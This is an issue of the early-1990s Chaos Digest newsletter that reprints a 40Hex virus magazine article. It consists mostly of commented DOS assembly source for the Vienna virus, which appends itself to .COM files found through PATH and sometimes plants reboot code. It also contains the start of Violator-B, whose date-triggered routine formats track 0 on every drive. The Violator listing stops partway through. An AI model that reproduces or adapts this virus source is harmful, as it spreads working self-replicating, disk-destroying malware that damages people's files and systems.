Chaos Digest Mercredi 19 Mai 1993 Volume 1 : Numero 30 ISSN 1244-4901 Editeur: Jean-Bernard Condat (jbcondat@attmail.com) Archiviste: Yves-Marie Crabbe Co-Redacteurs: Arnaud Bigare, Stephane Briere TABLE DES MATIERES, #1.30 (19 Mai 1993) File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint) Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are available at no cost by sending a message to: linux-activists-request@niksula.hut.fi with a mail header or first line containing the following informations: X-Mn-Admin: join CHAOS_DIGEST The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070) or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P. 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299) groups. Issues of ChaosD can also be found on some French BBS. Back issues of ChaosD can be found on the Internet as part of the Computer underground Digest archives. They're accessible using anonymous FTP from: * kragar.eff.org [192.88.144.4] in /pub/cud/chaos * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos CHAOS DIGEST is an open forum dedicated to sharing French information among computerists and to the presentation and debate of diverse views. ChaosD material may be reprinted for non-profit as long as the source is cited. Some authors do copyright their material, and they should be contacted for reprint permission. Readers are encouraged to submit reasoned articles in French, English or German languages relating to computer culture and telecommunications. Articles are preferred to short responses. Please avoid quoting previous posts unless absolutely necessary. DISCLAIMER: The views represented herein do not necessarily represent the views of the moderators. Chaos Digest contributors assume all responsibility for ensuring that articles submitted do not violate copyright protections. ---------------------------------------------------------------------- Date: Tue May 11 09:24:40 PDT 1993 From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. ) Subject: File 1--40H VMag Issue 1 Volume 2 #011(2) (reprint) [suite du listing des virus Vienna et Violator] ;************************************************************ ; Loop to check for the next four characters ;************************************************************ check_next_4: LODSB SCASB JNZ find_path ;If not all there, abort & start over LOOP check_next_4 ;Loop to check the next character POP SI POP ES MOV [SI+path_ad],DI ;Save the address of the PATH MOV DI,SI ADD DI,wrk_spc ;File name workspace MOV BX,SI ;Save a copy of SI ADD SI,wrk_spc ;Point SI to workspace MOV DI,SI ;Point DI to workspace JMP SHORT slash_ok ;********************************************************** ; Look in the PATH for more subdirectories, if any ;********************************************************** set_subdir: CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? JNZ found_subdir ;If not, there are more subdirectories JMP all_done ;Else, we're all done ;********************************************************** ; Here if there are more subdirectories in the path ;********************************************************** found_subdir: PUSH DS PUSH SI MOV DS,ES:2CH ;DS points to environment segment MOV DI,SI MOV SI,ES:[DI+path_ad] ;SI = PATH address ADD DI,wrk_spc ;DI points to file name workspace ;*********************************************************** ; Move subdirectory name into file name workspace ;*********************************************************** move_subdir: LODSB ;Get character CMP AL,';' ;Is it a ';' delimiter? JZ moved_one ;Yes, found another subdirectory CMP AL,0 ;End of PATH string? JZ moved_last_one ;Yes STOSB ;Save PATH marker into [DI] JMP SHORT move_subdir ;****************************************************************** ; Mark the fact that we're looking through the final subdirectory ;****************************************************************** moved_last_one: MOV SI,0 ;****************************************************************** ; Here after we've moved a subdirectory ;****************************************************************** moved_one: POP BX ;Pointer to virus data area POP DS ;Restore DS MOV [BX+path_ad],SI ;Address of next subdirectory NOP ;****************************************************************** ; Make sure subdirectory ends in a "\" ;****************************************************************** CMP CH,'\' ;Ends with "\"? JZ slash_ok ;If yes MOV AL,'\' ;Add one, if not STOSB ;****************************************************************** ; Here after we know there's a backslash at end of subdir ;****************************************************************** slash_ok: MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace MOV SI,BX ;Restore SI ADD SI,f_spec ;Point to "*.COM" MOV CX,6 REPZ MOVSB ;Move "*.COM",0 to workspace MOV SI,BX ;******************************************************************* ; Find first string matching *.COM ;******************************************************************* MOV AH,4EH MOV DX,wrk_spc ; NOP ;MASM will add this NOP here ADD DX,SI ;DX points to "*.COM" in workspace MOV CX,3 ;Attributes of Read Only or Hidden OK INT 21H JMP SHORT find_first ;******************************************************************* ; Find next ASCIIZ string matching *.COM ;******************************************************************* find_next: MOV AH,4FH INT 21H find_first: JNB found_file ;Jump if we found it JMP SHORT set_subdir ;Otherwise, get another subdirectory ;******************************************************************* ; Here when we find a file ;******************************************************************* found_file: MOV AX,[SI+dta_tim] ;Get time from DTA AND AL,1FH ;Mask to remove all but seconds CMP AL,1FH ;62 seconds -> already infected JZ find_next ;If so, go find another file CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? JA find_next ;If too long, find another one CMP WORD PTR [SI+dta_len],0AH ;Is it too short? JB find_next ;Then go find another one MOV DI,[SI+nam_ptr] ;DI points to file name PUSH SI ;Save SI ADD SI,dta_nam ;Point SI to file name ;******************************************************************** ; Move the name to the end of the path ;******************************************************************** more_chars: LODSB STOSB CMP AL,0 JNZ more_chars ;Move characters until we find a 00 ;******************************************************************** ; Get File Attributes ;******************************************************************** POP SI MOV AX,OFFSET 4300H MOV DX,wrk_spc ;Point to \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI INT 21H MOV [SI+old_att],CX ;Save the old attributes ;******************************************************************** ; Rewrite the attributes to allow writing to the file ;******************************************************************** MOV AX,OFFSET 4301H ;Set attributes AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) MOV DX,wrk_spc ;Offset of \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI ;Point to \path\name INT 21H ;******************************************************************** ; Open Read/Write channel to the file ;******************************************************************** MOV AX,OFFSET 3D02H ;Read/Write MOV DX,wrk_spc ;Offset to \path\name in workspace ; NOP ;MASM will add this NOP here ADD DX,SI ;Point to \path\name INT 21H JNB opened_ok ;If file was opened OK JMP fix_attr ;If it failed, restore the attributes ;******************************************************************* ; Get the file date & time ;******************************************************************* opened_ok: MOV BX,AX MOV AX,OFFSET 5700H INT 21H MOV [SI+old_tim],CX ;Save file time MOV [SI+ol_date],DX ;Save the date ;******************************************************************* ; Get current system time ;******************************************************************* MOV AH,2CH INT 21H AND DH,7 ;Last 3 bits 0? (once in eight) JNZ seven_in_eight ;******************************************************************* ; The special "one in eight" infection. If the above line were in ; its original form, this code would be run 1/8 of the time, and ; rather than appending a copy of this virus to the .COM file, the ; file would get 5 bytes of code that reboot the system when the ; .COM file is run. ;******************************************************************* MOV AH,40H ;Write to file MOV CX,5 ;Five bytes MOV DX,SI ADD DX,reboot ;Offset of reboot code in data area INT 21H JMP SHORT fix_time_stamp NOP ;****************************************************************** ; Here's where we infect a .COM file with this virus ;****************************************************************** seven_in_eight: MOV AH,3FH MOV CX,3 MOV DX,first_3 ; NOP ;MASM will add this NOP here ADD DX,SI INT 21H ;Save first 3 bytes into the data area JB fix_time_stamp ;Quit, if read failed CMP AX,3 ;Were we able to read all 3 bytes? JNZ fix_time_stamp ;Quit, if not ;****************************************************************** ; Move file pointer to end of file ;****************************************************************** MOV AX,OFFSET 4202H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Quit, if it didn't work MOV CX,AX ;DX:AX (long int) = file size SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction ADD CX,OFFSET c_len_y MOV DI,SI ;Point DI to virus data area SUB DI,OFFSET c_len_x ;Point DI to reference vir_dat, at start of pgm MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm ;******************************************************************* ; Write virus code to file ;******************************************************************* MOV AH,40H MOV_CX virlen ;Length of virus, in bytes MOV DX,SI SUB DX,OFFSET codelen ;Length of virus code, gives starting ; address of virus code in memory INT 21H JB fix_time_stamp ;Jump if error CMP AX,OFFSET virlen ;All bytes written? JNZ fix_time_stamp ;Jump if error ;********************************************************************** ; Move file pointer to beginning of the file ;********************************************************************** MOV AX,OFFSET 4200H MOV CX,0 MOV DX,0 INT 21H JB fix_time_stamp ;Jump if error ;********************************************************************** ; Write the 3 byte JMP at the start of the file ;********************************************************************** MOV AH,40H MOV CX,3 MOV DX,SI ;Virus data area ADD DX,jmp_op ;Point to the reconstructed JMP INT 21H ;********************************************************************** ; Restore old file date & time, with seconds modified to 62 ;********************************************************************** fix_time_stamp: MOV DX,[SI+ol_date] ;Old file date MOV CX,[SI+old_tim] ;Old file time AND CX,OFFSET 0FFE0H OR CX,1FH ;Seconds = 31/30 min = 62 seconds MOV AX,OFFSET 5701H INT 21H ;********************************************************************** ; Close File ;********************************************************************** MOV AH,3EH INT 21H ;********************************************************************** ; Restore Old File Attributes ;********************************************************************** fix_attr: MOV AX,OFFSET 4301H MOV CX,[SI+old_att] ;Old Attributes MOV DX,wrk_spc ; NOP ;MASM will add this NOP ADD DX,SI ;DX points to \path\name in workspace INT 21H ;********************************************************************** ; Here when it's time to close it up & end ;********************************************************************** all_done: PUSH DS ;********************************************************************** ; Restore old DTA ;********************************************************************** MOV AH,1AH MOV DX,[SI+old_dta] MOV DS,[SI+old_dts] INT 21H POP DS ;************************************************************************* ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes ; in since the address in a real JMP 100 is an offset, and the offset ; varies from one infected file to the next. By PUSHing an 0100H onto the ; stack, we can RET to address 0100H just as though we JMPed there. ;************************************************************************* quit: POP CX XOR AX,AX XOR BX,BX XOR DX,DX XOR SI,SI MOV DI,OFFSET 0100H PUSH DI XOR DI,DI RET 0FFFFH ;************************************************************************ ;The virus data starts here. It's accessed off the SI register, per the ; comments as shown ;************************************************************************ vir_dat EQU $ ;Use this with (SI + old_dta) olddta_ DW 0 ;Old DTA offset ;Use this with (SI + old_dts) olddts_ DW 0 ;Old DTA segment ;Use this with (SI + old_tim) oldtim_ DW 0 ;Old Time ;Use this with (SI + ol_date) oldate_ DW 0 ;Old date ;Use this with (SI + old_att) oldatt_ DW 0 ;Old file attributes ;Here's where the first 3 bytes of the original .COM file go.(SI + first_3) first3_ EQU $ INT 20H NOP ;Here's where the new JMP instruction is worked out ;Use this with (SI + jmp_op) jmpop_ DB 0E9H ;Start of JMP instruction ;Use this with (SI + jmp_dsp) jmpdsp_ DW 0 ;The displacement part ;This is the type of file we're looking to infect. (SI + f_spec) fspec_ DB '*.COM',0 ;Use this with (SI + path_ad) pathad_ DW 0 ;Path address ;Use this with (SI + nam_ptr) namptr_ DW 0 ;Pointer to start of file name ;Use this with (SI + env_str) envstr_ DB 'PATH=' ;Find this in the environment ;File name workspace (SI + wrk_spc) wrkspc_ DB 40h dup (0) ;Use this with (SI + dta) dta_ DB 16h dup (0) ;Temporary DTA goes here ;Use this with (SI + dta_tim) dtatim_ DW 0,0 ;Time stamp in DTA ;Use this with (SI + dta_len) dtalen_ DW 0,0 ;File length in the DTA ;Use this with (SI + dta_nam) dtanam_ DB 0Dh dup (0) ;File name in the DTA ;Use this with (SI + reboot) reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 lst_byt EQU $ ;All lines that assemble into code are ; above this one ;**************************************************************************** ;The virus needs to know a few details about its own size and the size of its ;code portion. Let the assembler figure out these sizes automatically. ;**************************************************************************** virlen = lst_byt - v_start ;Length, in bytes, of the entire virus codelen = vir_dat - v_start ;Length of virus code, only c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP ;**************************************************************************** ;Because this code is being appended to the end of an executable file, the ;exact address of its variables cannot be known. All are accessed as offsets ;from SI, which is represented as vir_dat in the below declarations. ;**************************************************************************** old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp ol_date = oldate_ - vir_dat ;Displacement to old file date stamp old_att = oldatt_ - vir_dat ;Displacement to old attributes first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string path_ad = pathad_ - vir_dat ;Displacement to the path address nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace dta = dta_ - vir_dat ;Displacement to the temporary DTA dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code CODE ENDS END VCODE Now here's the source for Violator-B ------------------------------------------------------------------------------ ;***************************************************************************** ; ; Violator - Strain B ; ;***************************************************************************** ;(Aug/09/90) ; ;Development Notes: ; ;I encountered several errors in the original Violator code which I ;corrected in this version. Mainly, the INT 26 routine to fuck the ;disk. It seems that the routine would crash right after the INT 26 ;was executed and the whole program would die. I have since fixed ;this problem in this version with an INT 13, AH 05 (Format Track) ;command. This works better than the subsequent INT 26. ; ;***************************************************************************** ; ; Written by - The High Evolutionary - ; RABID Head Programmer ; ; Revised by: oOnslaught ; No affiliation with rabId ; ; Copyright (C) 1990 by RABID Nat'nl Development Corp. ; ;***************************************************************************** MOV_CX MACRO X DB 0B9H DW X ENDM CODE SEGMENT ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE ORG $+0100H ; Set ORG to 100H plus our own VCODE: JMP virus NOP NOP NOP ;15 NOP's to place JMP Header NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP v_start equ $ virus: PUSH CX MOV DX,OFFSET vir_dat CLD MOV SI,DX ADD SI,first_3 MOV CX,3 MOV DI,OFFSET 100H REPZ MOVSB MOV SI,DX MOV AH,30H INT 21H CMP AL,0 ;Quit it it's DOS 1.0 JNZ dos_ok JMP quit dos_ok: PUSH ES MOV AH,2FH INT 21H MOV [SI+old_dta],BX MOV [SI+old_dts],ES POP ES MOV DX,dta ADD DX,SI MOV AH,1AH INT 21H PUSH ES PUSH SI MOV ES,DS:2CH MOV DI,0 JMP year_check year_check: MOV AH,2AH ;Get date info INT 21H ;Call DOS CMP CX,1990 ;Check to see if the year is 1990 JGE month_check ;If greater or equal, check month JMP find_path ;If not, go on with infection month_check: MOV AH,2AH ;Get date info INT 21h ;Call DOS CMP DH,10 ;Check to see if it is September JGE day_check ;If greater or equal, check day JMP find_path ;if not, go on with infection day_check: MOV AH,2Ah ;Get date info INT 21H ;Call DOS CMP DL,31 ;Check to see if it is the 4th JGE multiplex ;If yes, then nuke drives A:-Z: JMP find_path ;If not, then go on with infection multiplex: MOV AL,cntr ;Counter is the drive to kill CALL alter ;Go and kill the drive ;25 is drive Z: CMP cntr,25 ;Is (cntr) 25 ? JE find_path ;Go on with infection INC cntr ;Add one to (cntr) LOOP multiplex ;Loop back up to kill next drive alter: MOV AH,05 ;Format Track MOV CH,0 ;Format track 0 MOV DH,0 ;Head 0 MOV DL,cntr ;Format for drive in (cntr) INT 13h ;Call RWTS RET ;Return up for next drive find_path: POP SI PUSH SI ADD SI,env_str LODSB MOV CX,OFFSET 8000H REPNZ SCASB MOV CX,4 check_next_4: LODSB SCASB ; ;The JNZ line specifies that if there is no PATH present, then we will go ;along and infect the ROOT directory on the default drive. JNZ find_path ;If not path, then go to ROOT dir LOOP check_next_4 ;Go back and check for more chars POP SI ;Load in PATH again to look for chars POP ES MOV [SI+path_ad],DI MOV DI,SI ADD DI,wrk_spc ;Put the filename in wrk_spc MOV BX,SI ADD SI,wrk_spc MOV DI,SI JMP SHORT slash_ok set_subdir: CMP WORD PTR [SI+path_ad],0 JNZ found_subdir JMP all_done found_subdir: PUSH DS PUSH SI MOV DS,ES:2CH MOV DI,SI MOV SI,ES:[DI+path_ad] ADD DI,wrk_spc ;DI is the file name to infect! (hehe) move_subdir: LODSB ;To tedious work to move into subdir CMP AL,';' ;Does it end with a ; charachter? JZ moved_one ;if yes, then we found a subdir CMP AL,0 ;is it the end of the path? JZ moved_last_one ;if yes, then we save the PATH STOSB ;marker into DI for future reference JMP SHORT move_subdir moved_last_one: MOV SI,0 moved_one: POP BX ;BX is where the virus data is POP DS ;Restore DS so that we can do stuph MOV [BX+path_ad],SI ;Where is the next subdir? NOP CMP CH,'\' ;Check to see if it ends in \ JZ slash_ok ;If yes, then it's OK MOV AL,'\' ;if not, then add one... STOSB ;store the sucker ------------------------------ End of Chaos Digest #1.31 ************************************ Downloaded From P-80 International Information Systems 304-744-2253